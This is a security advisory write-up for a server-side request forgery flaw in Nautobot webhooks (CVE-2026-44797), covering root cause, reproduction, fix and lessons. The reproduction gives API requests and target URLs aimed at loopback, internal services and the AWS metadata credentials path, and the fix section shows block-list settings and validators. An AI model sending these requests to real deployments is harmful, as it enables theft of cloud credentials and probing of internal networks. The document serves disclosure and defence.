Skip to content

Latest commit

 

History

History
230 lines (169 loc) · 15.5 KB

File metadata and controls

230 lines (169 loc) · 15.5 KB

CVE-2026-44797 — Nautobot Webhook SSRF: webhook-receiver target URL is sent unchecked, reaching loopback / link-local / RFC1918

A Nautobot user with extras.add_webhook / change_webhook permission can point a webhook URL at http://127.0.0.1:8001/, http://169.254.169.254/latest/meta-data/, or any internal-only host, and Nautobot's worker will dutifully send the change-event POST from a server-side context — full-blown SSRF that bypasses the perimeter and reaches whatever the Nautobot host can reach.

CVE CVE-2026-44797 (NVD)
GHSA GHSA-c35q-vxrp-ph26
Severity High — CVSS 8.5
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE CWE-918: Server-Side Request Forgery (SSRF)
Affected nautobot < 2.4.33, < 3.1.2
Fixed 2.4.33, 3.1.2
Authentication Authenticated user with extras.add_webhook / change_webhook (or any role with Webhook write access)
Reporter @whatisproblem
Fix commits 16aa4aa (2.4.33), 7324c8f (3.1.2)

Summary

Nautobot is a Django-based Network Source-of-Truth and automation platform. Its Webhook feature lets operators register an outbound HTTP endpoint that fires whenever a covered object (Device, Interface, Cable, etc.) is created, updated, or deleted — exactly the kind of plumbing operators wire into ServiceNow, Slack, Jenkins, or internal automation buses.

Pre-2.4.33 / 3.1.2, the only validation Nautobot performed on the webhook target URL was Django's stock URLValidator (which only checks "looks like a URL"). The scheme could be anything the underlying HTTP client speaks; the host could be a hostname, an IPv4 literal, an IPv6 literal, or localhost; the resolved address was never checked against loopback / link-local / RFC1918 / cloud-metadata ranges; and there was no DNS re-check at send time, so even a host that looked external could resolve to an internal address.

When the webhook fires, Nautobot's Celery worker performs the request from the Nautobot server itself. That makes the worker a confused deputy:

  • The worker can reach 127.0.0.1, ::1, and any localhost-bound services on the Nautobot host (e.g. an unauthenticated admin endpoint, an internal Prometheus, a debug toolbar).
  • On AWS / GCP / Azure / OCI, the worker can reach the cloud metadata service at 169.254.169.254 (or fd00:ec2::254 on IPv6) and exfiltrate IAM role credentials in the worker's logs / response capture.
  • On any non-zero-trust deployment, the worker can reach internal-only HTTP services on RFC1918 / RFC4193 ranges (10/8, 172.16/12, 192.168/16, fc00::/7).

The only "authentication" needed is permission to create or edit a Webhook — a permission routinely delegated to network engineers and integrations admins, not just superusers.

Root cause

Pre-fix nautobot/extras/models/models.pyWebhook.payload_url is a plain URLField. Django's URLField runs URLValidator() at save time, which accepts any HTTP/HTTPS URL syntactically. There is no check that the host is externally routable, and no DNS resolution performed on the host at any point.

Pre-fix nautobot/extras/tasks.pyprocess_webhook():

# (paraphrased — pre-fix)
def process_webhook(webhook_id, ...):
    webhook = Webhook.objects.get(pk=webhook_id)
    ...
    response = requests.request(
        method=webhook.http_method,
        url=webhook.payload_url,            # <-- never re-validated
        headers=...,
        data=body,
        timeout=...,
        verify=webhook.ssl_verification,
    )

The Celery worker, running with whatever network reachability the Nautobot host has, takes webhook.payload_url and POSTs to it directly. There is nothing between "user typed a URL into the form" and "server-side requests.request(url=...)":

  1. Scheme is unrestricted. URLValidator defaults accept http, https, ftp, ftps. Anything requests honours after that is in scope.
  2. No host-IP check. Loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), multicast, reserved, and RFC1918 / RFC4193 ranges all pass.
  3. No DNS re-check at send time. Even if a save-time check had been added, an attacker-controlled DNS name can return a public address at validation time and a private one at fetch time (DNS rebinding / split-horizon). The send-time path must re-resolve and re-check.
  4. No allow-list. There is no way for an operator to say "only *.example.com is a legitimate webhook target on this instance".

The fix introduces a new module nautobot/extras/webhooks.py and a pair of validators that close all four gaps.

Reproduction

Setup

git clone https://github.com/nautobot/nautobot
cd nautobot && git checkout v2.4.32
docker compose -f development/docker-compose.yml up -d

Provision an account with the extras.add_webhook and extras.change_webhook permissions (or use any superuser). All of the steps below use that user's session token / API token.

Step 1 — register a webhook pointing at the loopback

Pre-2.4.33 the API will accept this without complaint:

POST /api/extras/webhooks/ HTTP/1.1
Host: nautobot.local
Authorization: Token <user-token>
Content-Type: application/json

{
  "name": "ssrf-loopback",
  "content_types": ["dcim.device"],
  "type_create": true,
  "payload_url": "http://127.0.0.1:8001/__internal__/admin",
  "http_method": "POST",
  "http_content_type": "application/json",
  "enabled": true,
  "ssl_verification": false
}

→ 201 Created

Substitute any of these for the same effect:

Target URL
Cloud metadata (AWS) http://169.254.169.254/latest/meta-data/iam/security-credentials/
Internal admin panel http://10.0.0.5:9000/admin
Localhost-only service http://localhost:6379/ (Redis)
IPv6 loopback http://[::1]:8001/

Step 2 — trigger the webhook by creating an object that matches

POST /api/dcim/devices/ HTTP/1.1
Authorization: Token <user-token>
Content-Type: application/json

{ "name": "ssrf-trigger", "device_type": "...", "role": "...", "status": "...", "location": "..." }

→ 201 Created

The Celery worker picks up the create event, looks up matching webhooks, and calls requests.post("http://127.0.0.1:8001/__internal__/admin", ...) from the Nautobot host.

Step 3 — observe the SSRF

The most reliable observation channel is the worker logs (docker compose logs worker -f) — the worker logs the response status code and, depending on log level, a body excerpt. For instance-level confirmation:

  • Set the webhook URL to a Burp Collaborator / webhook.site listener and confirm the request originates from the Nautobot host's egress IP.
  • Set the webhook URL to a known-internal HTTP service and confirm the worker logs a 200/401/403 response that an external attacker could not have produced.

Demonstrative scope only. The PoC proves the request is issued from the server-side context. A real attacker would chain this into (a) cloud-metadata IAM credential theft on AWS/GCP/Azure deployments, (b) port-scanning of the internal subnet by enumerating webhook URLs and reading status codes from worker logs / event-history, or (c) exploitation of any localhost-only management endpoint on the Nautobot host. None of those payloads are reproduced here.

Fix

Patched in v2.4.33 (commit 16aa4aa) and v3.1.2 (commit 7324c8f). The fix has four moving parts:

1. Three new settings

# Defaults — set in nautobot/core/settings.py
WEBHOOK_ALLOWED_SCHEMES = ["http", "https"]          # was: anything URLValidator accepts
WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS = [              # appended to the built-in block-list
    "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
    "fc00::/7",                                      # IPv6 ULA
]
WEBHOOK_ALLOWED_HOSTS = []                           # admin-managed allow-list bypass

The default WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS blocks RFC1918 + RFC4193. The built-in block-list (loopback, link-local, multicast, reserved) is non-overridable even via WEBHOOK_ALLOWED_HOSTS — operators cannot accidentally allow 127.0.0.1.

2. New module nautobot/extras/webhooks.py

Two validators are introduced — one for save-time, one for send-time:

# nautobot/extras/webhooks.py
def validate_webhook_url_format(url):
    """Save-time: scheme + URL syntax + IP-literal block-list. No DNS."""
    host = _webhook_validate_scheme_and_extract_host(url)
    allow_listed = _webhook_host_matches_allow_list(host, settings.WEBHOOK_ALLOWED_HOSTS)
    addr = _webhook_address_from_host(host)
    if addr is not None:
        _webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)


def validate_webhook_url(url):
    """Send-time: same as above + DNS resolution + per-resolved-address check."""
    host = _webhook_validate_scheme_and_extract_host(url)
    allow_listed = _webhook_host_matches_allow_list(host, settings.WEBHOOK_ALLOWED_HOSTS)
    addr = _webhook_address_from_host(host)
    if addr is not None:
        _webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)
        return str(addr)

    # Hostname → DNS → check every resolved address (defends against DNS rebinding)
    bare_host = host[1:-1] if host.startswith("[") and host.endswith("]") else host
    infos = socket.getaddrinfo(bare_host, None)
    chosen = None
    for info in infos:
        addr = netaddr.IPAddress(info[4][0])
        _webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)
        if chosen is None:
            chosen = str(addr)
    return chosen

The non-overridable built-in block-list:

def _webhook_addr_is_builtin_blocked(addr):
    """Return True if addr is in a never-legitimate range."""
    return addr.is_loopback() or addr.is_link_local() or addr.is_multicast() or addr.is_reserved()

3. Save-time enforcement on the model

Webhook.payload_url now goes through validate_webhook_url_format() on clean(), so attempts to save a Webhook with payload_url=http://127.0.0.1:.../ are rejected at the form/serializer layer with a clear ValidationError.

4. Send-time re-check in the Celery worker

The worker now calls validate_webhook_url(payload_url) before issuing the request, re-resolving DNS and re-checking every resolved address. This is the layer that defends against DNS rebinding: even if the save-time check passed (because the host resolved to a public address at form-submit time), the send-time check will reject it if it now resolves to anything in the block-list.

The nautobot-server webhook_receiver debug command — a development helper that ran a small HTTP server on 127.0.0.1 for testing webhook payloads — is removed entirely (nautobot/extras/management/commands/webhook_receiver.py deleted), eliminating it as a "legitimate" reason to allow loopback URLs.

Operator action

  • After upgrade, audit existing Webhook rows for any payload_url that resolves to a private/loopback host. Pre-fix instances may have such rows; the upgrade does not retroactively delete them, but the next send will fail closed.
  • If you have a legitimate internal webhook target (e.g. an internal Slack proxy), add it to WEBHOOK_ALLOWED_HOSTS (Django ALLOWED_HOSTS-style: literal hostname, .example.com subdomain wildcard, or *). Note that the built-in block-list (loopback / link-local / multicast / reserved) is not overridable by WEBHOOK_ALLOWED_HOSTS — only WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS is.

Timeline

  • (internal research, prior to disclosure) — Discovered.
  • (prior to 2026-05-08) — Reported privately via GHSA Draft to the Nautobot maintainers.
  • 2026-05-08 — Patches released in v2.4.33 and v3.1.2; GHSA-c35q-vxrp-ph26 published; CVE-2026-44797 assigned.
  • 2026-05-10 — Public write-up.

Lessons

  • Outbound-HTTP features are SSRF surface, not "trusted" surface. Any feature that takes a URL from a user — webhook receivers, avatar fetchers, image proxies, OEmbed fetchers, OAuth provider URLs — needs the full SSRF treatment: scheme allow-list, IP-literal block-list, DNS resolution check, and send-time re-resolution to defend against DNS rebinding. "It's an admin-only feature" is not a control: the worker still runs server-side and can still reach 169.254.169.254.
  • Save-time validation is a courtesy; send-time validation is the security boundary. A check that runs at form-submit time and never runs again is bypassable by DNS-rebinding (A → public IP at validation, A → internal IP at send), CNAME redirection, or simply rotating the DNS record. The fix here gets it right by re-resolving and re-checking inside the Celery task immediately before issuing the request.
  • Build a block-list with a non-overridable core. WEBHOOK_ALLOWED_HOSTS lets operators allow custom intranet targets without removing protection against the things that are never legitimate webhook destinations: loopback, link-local, multicast, reserved. Splitting the block-list into "configurable" (RFC1918) and "non-overridable" (loopback / 169.254 / etc.) means a misconfigured allow-list can't degrade into "allow 127.0.0.1".
  • Delete dev-only helpers that legitimise dangerous patterns. The pre-fix webhook_receiver management command bound an HTTP server to 127.0.0.1 so developers could point their webhooks at it for testing. Its existence makes "allow loopback URLs in webhooks" feel reasonable. Removing it as part of the same patch is the right call: dev ergonomics shouldn't dictate prod security posture.
  • Audit rows after upgrade. Operators upgrading to 2.4.33 / 3.1.2 should run a one-shot script that resolves every existing Webhook.payload_url and flags any that fall in a block-listed range — a pre-existing webhook will fail on the next send, but the audit gives operators visibility before that happens. Patches don't retroactively clean dangerous data.

References